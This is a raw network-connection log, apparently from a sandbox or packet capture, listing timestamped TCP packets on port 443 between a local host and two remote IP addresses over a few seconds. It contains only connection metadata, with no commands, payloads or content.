Nov 14, 2024 17:24:46.944598913 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.944624901 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.944639921 CET	49881	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.944648027 CET	443	49881	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.944876909 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.944911003 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.944924116 CET	49879	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.944931984 CET	443	49879	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.945875883 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.945900917 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.945919037 CET	49880	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.945924997 CET	443	49880	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.948685884 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.948685884 CET	49878	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:46.948756933 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:46.948791027 CET	443	49878	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.079629898 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.079648972 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.079715967 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.114439964 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.114491940 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.114553928 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.156794071 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.156816006 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.156882048 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.157243013 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.157262087 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.182480097 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.182502031 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.191960096 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.191998005 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.208445072 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.208472967 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.208544016 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.208837032 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.208851099 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.214200020 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.214288950 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.214359045 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.257939100 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.257966995 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.902909040 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.903580904 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.903595924 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.904087067 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.904089928 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.932888985 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.933478117 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.933500051 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.934027910 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.934034109 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.946125984 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.946660042 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.946681976 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.946965933 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.947143078 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.947148085 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.947484016 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.947506905 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:47.947921991 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:47.947927952 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.034915924 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.034945011 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.034986019 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.035003901 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.035054922 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.035410881 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.035427094 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.035455942 CET	49882	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.035461903 CET	443	49882	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.038779020 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.038820982 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.038908005 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.039088964 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.039097071 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.068487883 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.070241928 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.070329905 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.070353985 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.070404053 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.070442915 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.070447922 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.070465088 CET	49883	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.070468903 CET	443	49883	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.075954914 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.076106071 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.076183081 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.079437017 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.080049038 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.080152988 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.080673933 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.080684900 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.080697060 CET	49888	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.080703020 CET	443	49888	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.082170963 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.082180023 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.082190037 CET	49884	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.082192898 CET	443	49884	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.083895922 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.083940029 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.084033966 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.084335089 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.084351063 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.084507942 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.084522963 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.084533930 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.084652901 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.084664106 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.085333109 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.085359097 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.085414886 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.085514069 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.085534096 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.228457928 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.229255915 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.229342937 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.229676008 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.229691029 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.386746883 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.386897087 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.386979103 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.387165070 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.387165070 CET	49889	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.387209892 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.387238979 CET	443	49889	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.391374111 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.391398907 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.391623020 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.391813993 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.391824961 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.781804085 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.782352924 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.782406092 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.782795906 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.782810926 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.818943024 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.819540024 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.819570065 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.819984913 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.819988966 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.836570978 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.837191105 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.837224007 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.838151932 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.838159084 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.915507078 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.916098118 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.916129112 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.916196108 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.916260958 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.916419029 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.916419029 CET	49894	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.916462898 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.916492939 CET	443	49894	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.919765949 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.919785023 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.919857979 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.920023918 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.920031071 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.949040890 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.949110985 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.949198961 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.949220896 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.949359894 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.949546099 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.949563980 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.949577093 CET	49895	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.949582100 CET	443	49895	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.953943014 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.953969955 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.954210997 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.954387903 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.954411030 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.967684984 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.968471050 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.968559980 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.968744040 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.968744040 CET	49896	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.968766928 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.968779087 CET	443	49896	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.971730947 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.971741915 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:48.971847057 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.971982956 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:48.971993923 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.137764931 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.138452053 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.138478041 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.178790092 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.178812027 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.193175077 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.198473930 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.198515892 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.201579094 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.201586962 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.308264017 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.309057951 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.309140921 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.309154987 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.309182882 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.309228897 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.330025911 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.330190897 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.330257893 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.352786064 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.352818012 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.352838993 CET	49899	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.352845907 CET	443	49899	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.434283972 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.434308052 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.434360027 CET	49897	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.434366941 CET	443	49897	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.441112041 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.441142082 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.441191912 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.442219019 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.442233086 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.442363024 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.442389965 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.442501068 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.442663908 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.442677975 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.658544064 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.659310102 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.659327984 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.659807920 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.659811974 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.917104006 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.918055058 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.918071032 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.918539047 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.918544054 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.922262907 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.922657013 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.922689915 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:49.923192978 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:49.923198938 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.039534092 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.039591074 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.039639950 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.039855957 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.039865971 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.039875984 CET	49900	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.039880037 CET	443	49900	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.042845964 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.042885065 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.042946100 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.043123960 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.043133020 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.048923969 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.049010992 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.049063921 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.049133062 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.049144983 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.049154043 CET	49901	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.049159050 CET	443	49901	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.051666975 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.051682949 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.051753998 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.051882982 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.051892042 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.054296970 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.054356098 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.054399014 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.054562092 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.054567099 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.054594994 CET	49902	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.054598093 CET	443	49902	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.057121038 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.057133913 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.057192087 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.057337046 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.057346106 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.177593946 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.178754091 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.178754091 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.178786039 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.178817987 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.182183981 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.182569027 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.182590008 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.182972908 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.182981968 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.308366060 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.308451891 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.308932066 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.311858892 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.311858892 CET	49903	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.311882973 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.311892033 CET	443	49903	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.315776110 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.315813065 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.315887928 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.316603899 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.316711903 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.316766977 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.345295906 CET	49911	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.345310926 CET	443	49911	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.345549107 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.345577955 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.345591068 CET	49904	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.345597029 CET	443	49904	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.348974943 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.349067926 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.349298000 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.349464893 CET	49912	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.349499941 CET	443	49912	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.787363052 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.788213015 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.788237095 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.788693905 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.788719893 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.788870096 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.789237976 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.789256096 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.789594889 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.789598942 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.795913935 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.796489000 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.796510935 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.797841072 CET	49910	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.797847033 CET	443	49910	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.823765993 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:50.823792934 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:50.823875904 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:50.824557066 CET	49914	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:24:50.824594021 CET	443	49914	142.250.184.228	192.168.2.6
Nov 14, 2024 17:24:50.921046972 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921067953 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921109915 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921139002 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921199083 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921199083 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921207905 CET	443	49909	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921262026 CET	49909	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921511889 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921511889 CET	49908	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:50.921533108 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921541929 CET	443	49908	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:50.921547890 CET	49909	443	192.168.2.6	13.107.246.45
